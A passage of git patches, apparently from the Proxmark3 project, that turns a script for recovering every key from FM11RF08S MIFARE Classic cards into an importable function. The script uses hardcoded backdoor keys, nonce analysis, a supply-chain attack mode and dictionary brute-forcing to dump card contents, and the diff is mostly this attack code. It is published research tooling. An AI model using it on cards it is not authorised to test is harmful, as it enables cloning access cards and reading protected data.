SWIG_name, + NULL, + -1, + SwigMethods, + NULL, + NULL, + NULL, + NULL + }; #endif - + #if defined(SWIGPYTHON_BUILTIN) - static SwigPyClientData SwigPyObject_clientdata = { - 0, 0, 0, 0, 0, 0, 0 - }; - static PyGetSetDef this_getset_def = { - (char *)"this", &SwigPyBuiltin_ThisClosure, NULL, NULL, NULL - }; - static SwigPyGetSet thisown_getset_closure = { - SwigPyObject_own, - SwigPyObject_own - }; - static PyGetSetDef thisown_getset_def = { - (char *)"thisown", SwigPyBuiltin_GetterClosure, SwigPyBuiltin_SetterClosure, NULL, &thisown_getset_closure - }; - PyTypeObject *builtin_pytype; - int builtin_base_count; - swig_type_info *builtin_basetype; - PyObject *tuple; - PyGetSetDescrObject *static_getset; - PyTypeObject *metatype; - PyTypeObject *swigpyobject; - SwigPyClientData *cd; - PyObject *public_interface, *public_symbol; - PyObject *this_descr; - PyObject *thisown_descr; - PyObject *self = 0; - int i; - - (void)builtin_pytype; - (void)builtin_base_count; - (void)builtin_basetype; - (void)tuple; - (void)static_getset; - (void)self; - - /* Metaclass is used to implement static member variables */ - metatype = SwigPyObjectType(); - assert(metatype); + static SwigPyClientData SwigPyObject_clientdata = { + 0, 0, 0, 0, 0, 0, 0 + }; + static PyGetSetDef this_getset_def = { + (char *)"this", &SwigPyBuiltin_ThisClosure, NULL, NULL, NULL + }; + static SwigPyGetSet thisown_getset_closure = { + SwigPyObject_own, + SwigPyObject_own + }; + static PyGetSetDef thisown_getset_def = { + (char *)"thisown", SwigPyBuiltin_GetterClosure, SwigPyBuiltin_SetterClosure, NULL, &thisown_getset_closure + }; + PyTypeObject *builtin_pytype; + int builtin_base_count; + swig_type_info *builtin_basetype; + PyObject *tuple; + PyGetSetDescrObject *static_getset; + PyTypeObject *metatype; + PyTypeObject *swigpyobject; + SwigPyClientData *cd; + PyObject *public_interface, *public_symbol; + PyObject *this_descr; + PyObject *thisown_descr; + PyObject *self = 0; + int i; + + (void)builtin_pytype; + (void)builtin_base_count; + (void)builtin_basetype; + (void)tuple; + (void)static_getset; + (void)self; + + /* Metaclass is used to implement static member variables */ + metatype = SwigPyObjectType(); + assert(metatype); #endif - - (void)globals; - - /* Create singletons now to avoid potential deadlocks with multi-threaded usage after module initialization */ - SWIG_This(); - SWIG_Python_TypeCache(); - SwigPyPacked_type(); + + (void)globals; + + /* Create singletons now to avoid potential deadlocks with multi-threaded usage after module initialization */ + SWIG_This(); + SWIG_Python_TypeCache(); + SwigPyPacked_type(); #ifndef SWIGPYTHON_BUILTIN - SwigPyObject_type(); + SwigPyObject_type(); #endif - - /* Fix SwigMethods to carry the callback ptrs when needed */ - SWIG_Python_FixMethods(SwigMethods, swig_const_table, swig_types, swig_type_initial); - + + /* Fix SwigMethods to carry the callback ptrs when needed */ + SWIG_Python_FixMethods(SwigMethods, swig_const_table, swig_types, swig_type_initial); + #if PY_VERSION_HEX >= 0x03000000 - m = PyModule_Create(&SWIG_module); + m = PyModule_Create(&SWIG_module); #else - m = Py_InitModule(SWIG_name, SwigMethods); + m = Py_InitModule(SWIG_name, SwigMethods); #endif - - md = d = PyModule_GetDict(m); - (void)md; - - SWIG_InitializeModule(0); - + + md = d = PyModule_GetDict(m); + (void)md; + + SWIG_InitializeModule(0); + #ifdef SWIGPYTHON_BUILTIN - swigpyobject = SwigPyObject_TypeOnce(); - - SwigPyObject_stype = SWIG_MangledTypeQuery("_p_SwigPyObject"); - assert(SwigPyObject_stype); - cd = (SwigPyClientData *) SwigPyObject_stype->clientdata; - if (!cd) { - SwigPyObject_stype->clientdata = &SwigPyObject_clientdata; - SwigPyObject_clientdata.pytype = swigpyobject; - } else if (swigpyobject->tp_basicsize != cd->pytype->tp_basicsize) { - PyErr_SetString(PyExc_RuntimeError, "Import error: attempted to load two incompatible swig-generated modules."); + swigpyobject = SwigPyObject_TypeOnce(); + + SwigPyObject_stype = SWIG_MangledTypeQuery("_p_SwigPyObject"); + assert(SwigPyObject_stype); + cd = (SwigPyClientData*) SwigPyObject_stype->clientdata; + if (!cd) { + SwigPyObject_stype->clientdata = &SwigPyObject_clientdata; + SwigPyObject_clientdata.pytype = swigpyobject; + } else if (swigpyobject->tp_basicsize != cd->pytype->tp_basicsize) { + PyErr_SetString(PyExc_RuntimeError, "Import error: attempted to load two incompatible swig-generated modules."); # if PY_VERSION_HEX >= 0x03000000 - return NULL; + return NULL; # else - return; -# endif - } - - /* All objects have a 'this' attribute */ - this_descr = PyDescr_NewGetSet(SwigPyObject_type(), &this_getset_def); - (void)this_descr; - - /* All objects have a 'thisown' attribute */ - thisown_descr = PyDescr_NewGetSet(SwigPyObject_type(), &thisown_getset_def); - (void)thisown_descr; - - public_interface = PyList_New(0); - public_symbol = 0; - (void)public_symbol; - - PyDict_SetItemString(md, "__all__", public_interface); - Py_DECREF(public_interface); - for (i = 0; SwigMethods[i].ml_name != NULL; ++i) - SwigPyBuiltin_AddPublicSymbol(public_interface, SwigMethods[i].ml_name); - for (i = 0; swig_const_table[i].name != 0; ++i) - SwigPyBuiltin_AddPublicSymbol(public_interface, swig_const_table[i].name); -#endif - - SWIG_InstallConstants(d, swig_const_table); - -#if PY_VERSION_HEX >= 0x03000000 - return m; -#else return; +# endif + } + + /* All objects have a 'this' attribute */ + this_descr = PyDescr_NewGetSet(SwigPyObject_type(), &this_getset_def); + (void)this_descr; + + /* All objects have a 'thisown' attribute */ + thisown_descr = PyDescr_NewGetSet(SwigPyObject_type(), &thisown_getset_def); + (void)thisown_descr; + + public_interface = PyList_New(0); + public_symbol = 0; + (void)public_symbol; + + PyDict_SetItemString(md, "__all__", public_interface); + Py_DECREF(public_interface); + for (i = 0; SwigMethods[i].ml_name != NULL; ++i) + SwigPyBuiltin_AddPublicSymbol(public_interface, SwigMethods[i].ml_name); + for (i = 0; swig_const_table[i].name != 0; ++i) + SwigPyBuiltin_AddPublicSymbol(public_interface, swig_const_table[i].name); +#endif + + SWIG_InstallConstants(d,swig_const_table); + +#if PY_VERSION_HEX >= 0x03000000 + return m; +#else + return; #endif } From 59b6c0353ddbcac883570030bff3ea2daab7f7c4 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 29 Oct 2024 23:10:19 +0100 Subject: [PATCH 040/155] fm11rf08s_recovery: now usable as main or imported --- client/pyscripts/fm11rf08s_recovery.py | 1057 ++++++++++++------------ 1 file changed, 546 insertions(+), 511 deletions(-) diff --git a/client/pyscripts/fm11rf08s_recovery.py b/client/pyscripts/fm11rf08s_recovery.py index 1803ea1c1..1cfd710c2 100755 --- a/client/pyscripts/fm11rf08s_recovery.py +++ b/client/pyscripts/fm11rf08s_recovery.py @@ -44,17 +44,22 @@ NUM_SECTORS = 16 NUM_EXTRA_SECTORS = 1 DICT_DEF = "mfc_default_keys.dic" DEFAULT_KEYS = set() -if os.path.basename(os.path.dirname(os.path.dirname(sys.argv[0]))) == 'client': +if __name__ == '__main__': + DIR_PATH = os.path.dirname(os.path.abspath(sys.argv[0])) +else: + DIR_PATH = os.path.dirname(os.path.abspath(__file__)) + +if os.path.basename(os.path.dirname(DIR_PATH)) == 'client': # dev setup - TOOLS_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", + TOOLS_PATH = os.path.normpath(os.path.join(DIR_PATH, "..", "..", "tools", "mfc", "card_only")) - DICT_DEF_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", + DICT_DEF_PATH = os.path.normpath(os.path.join(DIR_PATH, "..", "dictionaries", DICT_DEF)) else: # assuming installed - TOOLS_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", + TOOLS_PATH = os.path.normpath(os.path.join(DIR_PATH, "..", "tools")) - DICT_DEF_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", + DICT_DEF_PATH = os.path.normpath(os.path.join(DIR_PATH, "dictionaries", DICT_DEF)) tools = { @@ -70,513 +75,93 @@ for tool, bin in tools.items(): print(f"Cannot find {bin}, abort!") exit() -parser = argparse.ArgumentParser(description='A script combining staticnested* tools ' - 'to recover all keys from a FM11RF08S card.') -parser.add_argument('-x', '--init-check', action='store_true', help='Run an initial fchk for default keys') -parser.add_argument('-y', '--final-check', action='store_true', help='Run a final fchk with the found keys') -parser.add_argument('-k', '--keep', action='store_true', help='Keep generated dictionaries after processing') -parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode') -parser.add_argument('-s', '--supply-chain', action='store_true', help='Enable supply-chain mode. Look for hf-mf-XXXXXXXX-default_nonces.json') -# Such json can be produced from the json saved by -# "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with -# jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}' -args = parser.parse_args() -start_time = time.time() -p = pm3.pm3() +def recovery(init_check=False, final_check=False, keep=False, debug=False, supply_chain=False, quiet=True): + def show(*args, **kwargs): + if not quiet: + print(*args, **kwargs) -p.console("hf 14a read") -uid = None + start_time = time.time() + p = pm3.pm3() -for line in p.grabbed_output.split('\n'): - if "UID:" in line: - uid = int(line[10:].replace(' ', '')[-8:], 16) + p.console("hf 14a read") + uid = None -if uid is None: - print("Card not found") - exit() -print("UID: " + color(f"{uid:08X}", fg="green")) - - -def print_key(sec, key_type, key): - kt = ['A', 'B'][key_type] - print(f"Sector {sec:2} key{kt} = " + color(key, fg="green")) - -p.console("prefs show --json") -prefs = json.loads(p.grabbed_output) -save_path = prefs['file.default.dumppath'] + os.path.sep - -found_keys = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -if args.init_check: - print("Checking default keys...") - p.console("hf mf fchk") for line in p.grabbed_output.split('\n'): - if "[+] 0" in line: - res = [x.strip() for x in line.split('|')] - sec = int(res[0][4:]) - if res[3] == '1': - found_keys[sec][0] = res[2] - print_key(sec, 0, found_keys[sec][0]) - if res[5] == '1': - found_keys[sec][1] = res[4] - print_key(sec, 1, found_keys[sec][1]) + if "UID:" in line: + uid = int(line[10:].replace(' ', '')[-8:], 16) -print("Getting nonces...") -nonces_with_data = "" -for key in BACKDOOR_KEYS: - cmd = f"hf mf isen --collect_fm11rf08s_with_data --key {key}" - p.console(cmd) - for line in p.grabbed_output.split('\n'): - if "Wrong" in line or "error" in line: - break - if "Saved" in line: - nonces_with_data = line[line.index("`"):].strip("`") - if nonces_with_data != "": - break + if uid is None: + show("Card not found") + return + show("UID: " + color(f"{uid:08X}", fg="green")) -if (nonces_with_data == ""): - print("Error getting nonces, abort.") - exit() + def show_key(sec, key_type, key): + kt = ['A', 'B'][key_type] + show(f"Sector {sec:2} key{kt} = " + color(key, fg="green")) -try: - with open(nonces_with_data, 'r') as file: - # Load and parse the JSON data - dict_nwd = json.load(file) -except json.decoder.JSONDecodeError: - print(f"Error parsing {nonces_with_data}, abort.") - exit() + p.console("prefs show --json") + prefs = json.loads(p.grabbed_output) + save_path = prefs['file.default.dumppath'] + os.path.sep -nt = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -nt_enc = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -par_err = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -data = ["" for _ in range(NUM_SECTORS * 4)] -for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - nt[sec][0] = dict_nwd["nt"][f"{real_sec}"]["a"].lower() - nt[sec][1] = dict_nwd["nt"][f"{real_sec}"]["b"].lower() - nt_enc[sec][0] = dict_nwd["nt_enc"][f"{real_sec}"]["a"].lower() - nt_enc[sec][1] = dict_nwd["nt_enc"][f"{real_sec}"]["b"].lower() - par_err[sec][0] = dict_nwd["par_err"][f"{real_sec}"]["a"] - par_err[sec][1] = dict_nwd["par_err"][f"{real_sec}"]["b"] -for blk in range(NUM_SECTORS * 4): - data[blk] = dict_nwd["blocks"][f"{blk}"] + found_keys = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + if init_check: + show("Checking default keys...") + p.console("hf mf fchk") + for line in p.grabbed_output.split('\n'): + if "[+] 0" in line: + res = [x.strip() for x in line.split('|')] + sec = int(res[0][4:]) + if res[3] == '1': + found_keys[sec][0] = res[2] + show_key(sec, 0, found_keys[sec][0]) + if res[5] == '1': + found_keys[sec][1] = res[4] + show_key(sec, 1, found_keys[sec][1]) -print("Generating first dump file") -dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin" -with (open(dumpfile, "wb")) as f: - for sec in range(NUM_SECTORS): - for b in range(4): - d = data[(sec * 4) + b] - if b == 3: - ka = found_keys[sec][0] - kb = found_keys[sec][1] - if ka == "": - ka = "FFFFFFFFFFFF" - if kb == "": - kb = "FFFFFFFFFFFF" - d = ka + d[12:20] + kb - f.write(bytes.fromhex(d)) -print(f"Data has been dumped to `{dumpfile}`") - -elapsed_time1 = time.time() - start_time -minutes = int(elapsed_time1 // 60) -seconds = int(elapsed_time1 % 60) -print("----Step 1: " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds -----------") - -if os.path.isfile(DICT_DEF_PATH): - print(f"Loading {DICT_DEF}") - with open(DICT_DEF_PATH, 'r', encoding='utf-8') as file: - for line in file: - if line[0] != '#' and len(line) >= 12: - DEFAULT_KEYS.add(line[:12]) -else: - print(f"Warning, {DICT_DEF} not found.") - -dict_dnwd = None -def_nt = ["" for _ in range(NUM_SECTORS)] -if args.supply_chain: - try: - default_nonces = f'{save_path}hf-mf-{uid:04X}-default_nonces.json' - with open(default_nonces, 'r') as file: - # Load and parse the JSON data - dict_dnwd = json.load(file) - for sec in range(NUM_SECTORS): - def_nt[sec] = dict_dnwd["nt"][f"{sec}"].lower() - print(f"Loaded default nonces from {default_nonces}.") - except FileNotFoundError: - pass - except json.decoder.JSONDecodeError: - print(f"Error parsing {default_nonces}, skipping.") - -print("Running staticnested_1nt & 2x1nt when doable...") -keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -all_keys = set() -duplicates = set() -# Availability of filtered dicts -filtered_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -found_default = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - if found_keys[sec][0] != "" and found_keys[sec][1] != "": - continue - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] != nt[sec][1]: - for key_type in [0, 1]: - cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}", - nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] - if args.debug: - print(' '.join(cmd)) - subprocess.run(cmd, capture_output=True) - cmd = [tools["staticnested_2x1nt"], - f"keys_{uid:08x}_{real_sec:02}_{nt[sec][0]}.dic", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][1]}.dic"] - if args.debug: - print(' '.join(cmd)) - subprocess.run(cmd, capture_output=True) - filtered_dicts[sec][key_type] = True - for key_type in [0, 1]: - keys_set = set() - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic")) as f: - while line := f.readline().rstrip(): - keys_set.add(line) - keys[sec][key_type] = keys_set.copy() - duplicates.update(all_keys.intersection(keys_set)) - all_keys.update(keys_set) - if dict_dnwd is not None and sec < NUM_SECTORS: - # Prioritize keys from supply-chain attack - cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"] - if args.debug: - print(' '.join(cmd)) - result = subprocess.run(cmd, capture_output=True, text=True).stdout - keys_def_set = set() - for line in result.split('\n'): - if "MATCH:" in line: - keys_def_set.add(line[12:]) - keys_set.difference_update(keys_def_set) - else: - # Prioritize default keys - keys_def_set = DEFAULT_KEYS.intersection(keys_set) - keys_set.difference_update(keys_def_set) - # Prioritize sector 32 keyB starting with 0000 - if real_sec == 32: - keyb32cands = set(x for x in keys_set if x.startswith("0000")) - keys_def_set.update(keyb32cands) - keys_set.difference_update(keyb32cands) - if len(keys_def_set) > 0: - found_default[sec][key_type] = True - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic", "w")) as f: - for k in keys_def_set: - f.write(f"{k}\n") - for k in keys_set: - f.write(f"{k}\n") - else: # one key not found or both identical - if found_keys[sec][0] == "": - key_type = 0 - else: - key_type = 1 - cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}", - nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] - if args.debug: - print(' '.join(cmd)) - subprocess.run(cmd, capture_output=True) - keys_set = set() - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic")) as f: - while line := f.readline().rstrip(): - keys_set.add(line) - keys[sec][key_type] = keys_set.copy() - duplicates.update(all_keys.intersection(keys_set)) - all_keys.update(keys_set) - if dict_dnwd is not None and sec < NUM_SECTORS: - # Prioritize keys from supply-chain attack - cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"] - if args.debug: - print(' '.join(cmd)) - result = subprocess.run(cmd, capture_output=True, text=True).stdout - keys_def_set = set() - for line in result.split('\n'): - if "MATCH:" in line: - keys_def_set.add(line[12:]) - keys_set.difference_update(keys_def_set) - else: - # Prioritize default keys - keys_def_set = DEFAULT_KEYS.intersection(keys_set) - keys_set.difference_update(keys_def_set) - if len(keys_def_set) > 0: - found_default[sec][key_type] = True - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic", "w")) as f: - for k in keys_def_set: - f.write(f"{k}\n") - for k in keys_set: - f.write(f"{k}\n") - -print("Looking for common keys across sectors...") -keys_filtered = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -for dup in duplicates: - for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - for key_type in [0, 1]: - if dup in keys[sec][key_type]: - keys_filtered[sec][key_type].add(dup) - -# Availability of duplicates dicts -duplicates_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -first = True -for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - for key_type in [0, 1]: - if len(keys_filtered[sec][key_type]) > 0: - if first: - print("Saving duplicates dicts...") - first = False - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic", "w")) as f: - keys_set = keys_filtered[sec][key_type].copy() - keys_def_set = DEFAULT_KEYS.intersection(keys_set) - keys_set.difference_update(DEFAULT_KEYS) - for k in keys_def_set: - f.write(f"{k}\n") - for k in keys_set: - f.write(f"{k}\n") - duplicates_dicts[sec][key_type] = True - -print("Computing needed time for attack...") -candidates = [[0, 0] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - for key_type in [0, 1]: - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]: - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" - with open(dic, 'r') as file: - count = sum(1 for _ in file) -# print(f"dic {dic} size {count}") - candidates[sec][key_type] = count - if nt[sec][0] == nt[sec][1]: - candidates[sec][key_type ^ 1] = 1 - for key_type in [0, 1]: - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type] and candidates[sec][0] == 0 and candidates[sec][1] == 0: - if found_default[sec][key_type]: - # We assume the default key is correct - candidates[sec][key_type] = 1 - else: - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" - with open(dic, 'r') as file: - count = sum(1 for _ in file) -# print(f"dic {dic} size {count}") - candidates[sec][key_type] = count - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1] and candidates[sec][0] == 0 and candidates[sec][1] == 0: - if found_default[sec][0]: - # We assume the default key is correct - candidates[sec][0] = 1 - candidates[sec][1] = 1 - else: - key_type = 0 - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" - with open(dic, 'r') as file: - count = sum(1 for _ in file) -# print(f"dic {dic} size {count}") - candidates[sec][0] = count - candidates[sec][1] = 1 - -if args.debug: - for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - print(f" {real_sec:03} | {real_sec*4+3:03} | {candidates[sec][0]:6} | {candidates[sec][1]:6} ") -total_candidates = sum(candidates[sec][0] + candidates[sec][1] for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS)) - -elapsed_time2 = time.time() - start_time - elapsed_time1 -minutes = int(elapsed_time2 // 60) -seconds = int(elapsed_time2 % 60) -print("----Step 2: " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds -----------") - -# fchk: 147 keys/s. Correct key found after 50% of candidates on average -FCHK_KEYS_S = 147 -foreseen_time = (total_candidates / 2 / FCHK_KEYS_S) + 5 -minutes = int(foreseen_time // 60) -seconds = int(foreseen_time % 60) -print("Still about " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds to run...") - -abort = False -print("Brute-forcing keys... Press any key to interrupt") -for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - for key_type in [0, 1]: - # If we have a duplicates dict - # note: we skip if we already know one key - # as using 2x1nt1key later will be faster - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]: - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" - cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" - if args.debug: - print(cmd) - p.console(cmd) - for line in p.grabbed_output.split('\n'): - if "aborted via keyboard" in line: - abort = True - if "found:" in line: - found_keys[sec][key_type] = line[30:].strip() - print_key(real_sec, key_type, found_keys[sec][key_type]) - if nt[sec][0] == nt[sec][1] and found_keys[sec][key_type ^ 1] == "": - found_keys[sec][key_type ^ 1] = found_keys[sec][key_type] - print_key(real_sec, key_type ^ 1, found_keys[sec][key_type ^ 1]) - if abort: - break - if abort: - break - - for key_type in [0, 1]: - # If we have a filtered dict - # note: we skip if we already know one key - # as using 2x1nt1key later will be faster - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type]: - # Use filtered dict - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" - cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" - if args.debug: - print(cmd) - p.console(cmd) - for line in p.grabbed_output.split('\n'): - if "aborted via keyboard" in line: - abort = True - if "found:" in line: - found_keys[sec][key_type] = line[30:].strip() - print_key(real_sec, key_type, found_keys[sec][key_type]) - if abort: - break - if abort: - break - - # If one common key for the sector - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1]: - key_type = 0 - # Use regular dict - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" - cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" - if args.debug: - print(cmd) + show("Getting nonces...") + nonces_with_data = "" + for key in BACKDOOR_KEYS: + cmd = f"hf mf isen --collect_fm11rf08s_with_data --key {key}" p.console(cmd) for line in p.grabbed_output.split('\n'): - if "aborted via keyboard" in line: - abort = True - if "found:" in line: - found_keys[sec][0] = line[30:].strip() - found_keys[sec][1] = line[30:].strip() - print_key(real_sec, 0, found_keys[sec][key_type]) - print_key(real_sec, 1, found_keys[sec][key_type]) - if abort: - break + if "Wrong" in line or "error" in line: + break + if "Saved" in line: + nonces_with_data = line[line.index("`"):].strip("`") + if nonces_with_data != "": + break - # If one key is missing, use the other one with 2x1nt1key - if ((found_keys[sec][0] == "") ^ (found_keys[sec][1] == "")) and nt[sec][0] != nt[sec][1]: - if (found_keys[sec][0] == ""): - key_type_source = 1 - key_type_target = 0 - else: - key_type_source = 0 - key_type_target = 1 - if duplicates_dicts[sec][key_type_target]: - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_duplicates.dic" - elif filtered_dicts[sec][key_type_target]: - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_filtered.dic" - else: - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}.dic" - cmd = [tools["staticnested_2x1nt1key"], nt[sec][key_type_source], found_keys[sec][key_type_source], dic] - if args.debug: - print(' '.join(cmd)) - result = subprocess.run(cmd, capture_output=True, text=True).stdout - keys = set() - for line in result.split('\n'): - if "MATCH:" in line: - keys.add(line[12:]) - if len(keys) > 1: - kt = ['a', 'b'][key_type_target] - cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} --no-default" - for k in keys: - cmd += f" -k {k}" - if args.debug: - print(cmd) - p.console(cmd) - for line in p.grabbed_output.split('\n'): - if "aborted via keyboard" in line: - abort = True - if "found:" in line: - found_keys[sec][key_type_target] = line[30:].strip() - elif len(keys) == 1: - found_keys[sec][key_type_target] = keys.pop() - if found_keys[sec][key_type_target] != "": - print_key(real_sec, key_type_target, found_keys[sec][key_type_target]) - if abort: - break + if (nonces_with_data == ""): + show("Error getting nonces, abort.") + return -if abort: - print("Brute-forcing phase aborted via keyboard!") - args.final_check = False + try: + with open(nonces_with_data, 'r') as file: + # Load and parse the JSON data + dict_nwd = json.load(file) + except json.decoder.JSONDecodeError: + show(f"Error parsing {nonces_with_data}, abort.") + return -plus = "[" + color("+", fg="green") + "] " -if args.final_check: - print("Letting fchk do a final dump, just for confirmation and display...") - keys_set = set([i for sl in found_keys for i in sl if i != ""]) - with (open(f"keys_{uid:08x}.dic", "w")) as f: - for k in keys_set: - f.write(f"{k}\n") - cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump" - if args.debug: - print(cmd) - p.console(cmd, capture=False, quiet=False) -else: - print() - print(plus + color("found keys:", fg="green")) - print() - print(plus + "-----+-----+--------------+---+--------------+----") - print(plus + " Sec | Blk | key A |res| key B |res") - print(plus + "-----+-----+--------------+---+--------------+----") + nt = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + nt_enc = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + par_err = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + data = ["" for _ in range(NUM_SECTORS * 4)] for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): real_sec = sec if sec >= NUM_SECTORS: real_sec += 16 - keys = [["", 0], ["", 0]] - for key_type in [0, 1]: - if found_keys[sec][key_type] == "": - keys[key_type] = [color("------------", fg="red"), color("0", fg="red")] - else: - keys[key_type] = [color(found_keys[sec][key_type], fg="green"), color("1", fg="green")] - print(plus + f" {real_sec:03} | {real_sec*4+3:03} | {keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ") - print(plus + "-----+-----+--------------+---+--------------+----") - print(plus + "( " + color("0", fg="red") + ":Failed / " + - color("1", fg="green") + ":Success )") - print() - print(plus + "Generating binary key file") - keyfile = f"{save_path}hf-mf-{uid:08X}-key.bin" - unknown = False - with (open(keyfile, "wb")) as f: - for key_type in [0, 1]: - for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - k = found_keys[sec][key_type] - if k == "": - k = "FFFFFFFFFFFF" - unknown = True - f.write(bytes.fromhex(k)) - print(plus + "Found keys have been dumped to `" + color(keyfile, fg="yellow")+"`") - if unknown: - print("[" + color("=", fg="yellow") + "] --[ " + color("FFFFFFFFFFFF", fg="yellow") + - " ]-- has been inserted for unknown keys") - print(plus + "Generating final dump file") + nt[sec][0] = dict_nwd["nt"][f"{real_sec}"]["a"].lower() + nt[sec][1] = dict_nwd["nt"][f"{real_sec}"]["b"].lower() + nt_enc[sec][0] = dict_nwd["nt_enc"][f"{real_sec}"]["a"].lower() + nt_enc[sec][1] = dict_nwd["nt_enc"][f"{real_sec}"]["b"].lower() + par_err[sec][0] = dict_nwd["par_err"][f"{real_sec}"]["a"] + par_err[sec][1] = dict_nwd["par_err"][f"{real_sec}"]["b"] + for blk in range(NUM_SECTORS * 4): + data[blk] = dict_nwd["blocks"][f"{blk}"] + + show("Generating first dump file") dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin" with (open(dumpfile, "wb")) as f: for sec in range(NUM_SECTORS): @@ -591,29 +176,479 @@ else: kb = "FFFFFFFFFFFF" d = ka + d[12:20] + kb f.write(bytes.fromhex(d)) - print(plus + "Data has been dumped to `" + color(dumpfile, fg="yellow")+"`") + show(f"Data has been dumped to `{dumpfile}`") -# Remove generated dictionaries after processing -if not args.keep: - print(plus + "Removing generated dictionaries...") + elapsed_time1 = time.time() - start_time + minutes = int(elapsed_time1 // 60) + seconds = int(elapsed_time1 % 60) + show("----Step 1: " + color(f"{minutes:2}", fg="yellow") + " minutes " + + 